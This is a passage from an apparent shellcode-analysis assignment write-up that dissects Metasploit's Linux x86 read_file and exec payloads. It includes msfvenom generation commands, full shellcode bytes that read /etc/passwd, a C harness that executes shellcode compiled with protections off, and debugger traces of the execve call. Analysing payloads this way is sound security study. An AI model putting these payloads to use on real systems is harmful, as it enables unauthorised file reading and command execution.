[emu 0x0x82d8078 debug ] B805000000                      mov eax,0x5
[emu 0x0x82d8078 debug ] cpu state    eip=0x00417007
[emu 0x0x82d8078 debug ] eax=0x00000005  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x82d8078 debug ] esp=0x00416fca  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x82d8078 debug ] Flags: 
[emu 0x0x82d8078 debug ] 5B                              pop ebx
[emu 0x0x82d8078 debug ] cpu state    eip=0x00417008
[emu 0x0x82d8078 debug ] eax=0x00000005  ecx=0x00000000  edx=0x00000000  ebx=0x0041703d
[emu 0x0x82d8078 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x82d8078 debug ] Flags: 
[emu 0x0x82d8078 debug ] 31C9                            xor ecx,ecx
[emu 0x0x82d8078 debug ] cpu state    eip=0x0041700a
[emu 0x0x82d8078 debug ] eax=0x00000005  ecx=0x00000000  edx=0x00000000  ebx=0x0041703d
[emu 0x0x82d8078 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x82d8078 debug ] Flags: PF ZF 
[emu 0x0x82d8078 debug ] CD80                            int 0x80
stepcount 5
[emu 0x0x82d8078 debug ] cpu state    eip=0x0041700c
[emu 0x0x82d8078 debug ] eax=0x00000005  ecx=0x00000000  edx=0x00000000  ebx=0x0041703d
[emu 0x0x82d8078 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x82d8078 debug ] Flags: PF ZF 

We can see the syscalls:
0x5 - sys_open Open the file
0x3 - sys_read Read the file
0x4 - sys_write Used for write

Very easy to understand reading the assembly code. To execute, we compile the shellcode and debug it. Generate the shellcode in C format.

root@HackingLab:/opt/metasploit-framework# ./msfvenom -p linux/x86/read_file -f c -a x86 PATH=/etc/passwd -o /home/hiro/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5/msf-read_file-shellcode.c

#include
#include

unsigned char code[] =
"\xeb\x36\xb8\x05\x00\x00\x00\x5b\x31\xc9\xcd\x80\x89\xc3\xb8"
"\x03\x00\x00\x00\x89\xe7\x89\xf9\xba\x00\x10\x00\x00\xcd\x80"
"\x89\xc2\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80\xb8"
"\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xc5\xff\xff"
"\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x00";


int main()
{
        printf("Shellcode Length:  %d\n", strlen(code));
        int (*ret)() = (int(*)())code;
        ret();
}

Compile and run.

hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5$ gcc -fno-stack-protector -z execstack msf-read_file-shellcode.c -o msf-read_file
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5$ ./msf-read_file
Shellcode Length:  4
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...


linux/x86/exec

 As the msfvenom payload description says this shellcode "Execute an arbitrary command". And We are going to understand how it works.
The first step is generate the shellcode with the following command (we generated in C format too).

root@HackingLab:/opt/metasploit-framework# ./msfvenom -p linux/x86/exec CMD=id -a x86 -o /home/hiro/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5/msf-exec
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 38 bytes
Saved as: /home/hiro/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5/msf-exec
root@HackingLab:/opt/metasploit-framework# ./msfvenom -p linux/x86/exec CMD=id -f c -a x86 -o /home/hiro/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5/msf-exec.c
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 38 bytes
Final size of c file: 185 bytes
Saved as: /home/hiro/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5/msf-exec.c

We dissasemble the shellcode with ndisasm.

hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5$ cat msf-exec | ndisasm -u -
00000000  6A0B              push byte +0xb
00000002  58                pop eax
00000003  99                cdq
00000004  52                push edx
00000005  66682D63          push word 0x632d
00000009  89E7              mov edi,esp
0000000B  682F736800        push dword 0x68732f
00000010  682F62696E        push dword 0x6e69622f
00000015  89E3              mov ebx,esp
00000017  52                push edx
00000018  E803000000        call dword 0x20
0000001D  696400575389E1CD  imul esp,[eax+eax+0x57],dword 0xcde18953
00000025  80                db 0x80

We know the "/bin/sh" code is in

0000000B  682F736800        push dword 0x68732f
00000010  682F62696E        push dword 0x6e69622f

I thought that ndisasm did not dissasemble correctly the shellcode. So I compiled and debugged it with gdb.

       
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5$ gcc -fno-stack-protector -z execstack msf-exec.c -o msf-exec
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5$ gdb -q ./msf-exec 
Reading symbols from ./msf-exec...(no debugging symbols found)...done.
gdb-peda$ b *&code
Breakpoint 1 at 0x8049760
gdb-peda$ r
....

I saw that the call dword 0x20 instruction is executed, the arguments are:

arg[0]: 0x0 
arg[1]: 0x6e69622f ('/bin')
arg[2]: 0x68732f ('/sh')
arg[3]: 0x632d ('-c')
arg[4]: 0x84690000 

And it call to code+32
   0x804977f : add    BYTE PTR [edi+0x53],dl
   0x8049782 : mov    ecx,esp
=> 0x8049784 : int    0x80
   0x8049786 : add    BYTE PTR [eax],al
   0x8049788: add    BYTE PTR [eax],al
   0x804978a: add    BYTE PTR [eax],al
   0x804978c: add    BYTE PTR [eax],al
[------------------------------------stack-------------------------------------]
0000| 0xbffff32e --> 0xbffff33e ("/bin/sh")
0004| 0xbffff332 --> 0xbffff346 --> 0x632d ('-c')
0008| 0xbffff336 --> 0x804977d --> 0x57006469 ('id')

The problem with ndisasm is that the line 0000001D is not dissasembled correctly.

0000001D  696400575389E1CD  imul esp,[eax+eax+0x57],dword 0xcde18953

So, when we debugged the program, we understood how it works. When the syscall sys_execve (0xb) is called, the registers are:

EAX: 0xb ('\x0b')
EBX: 0xbffff33e ("/bin/sh")
ECX: 0xbffff32e --> 0xbffff33e ("/bin/sh")
EDX: 0x0 

... and the stack:
0000| 0xbffff32e --> 0xbffff33e ("/bin/sh")
0004| 0xbffff332 --> 0xbffff346 --> 0x632d ('-c')
0008| 0xbffff336 --> 0x804977d --> 0x57006469 ('id')

It works...

hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5$ gcc -fno-stack-protector -z execstack msf-exec.c -o msf-exec
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5$ ./msf-exec 
Shellcode Length:  15
uid=1000(hiro) gid=1000(hiro) groups=1000(hiro),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),110(lpadmin),113(scanner)


Source code: https://github.com/Sinkmanu/SLAE/tree/master/Assignment5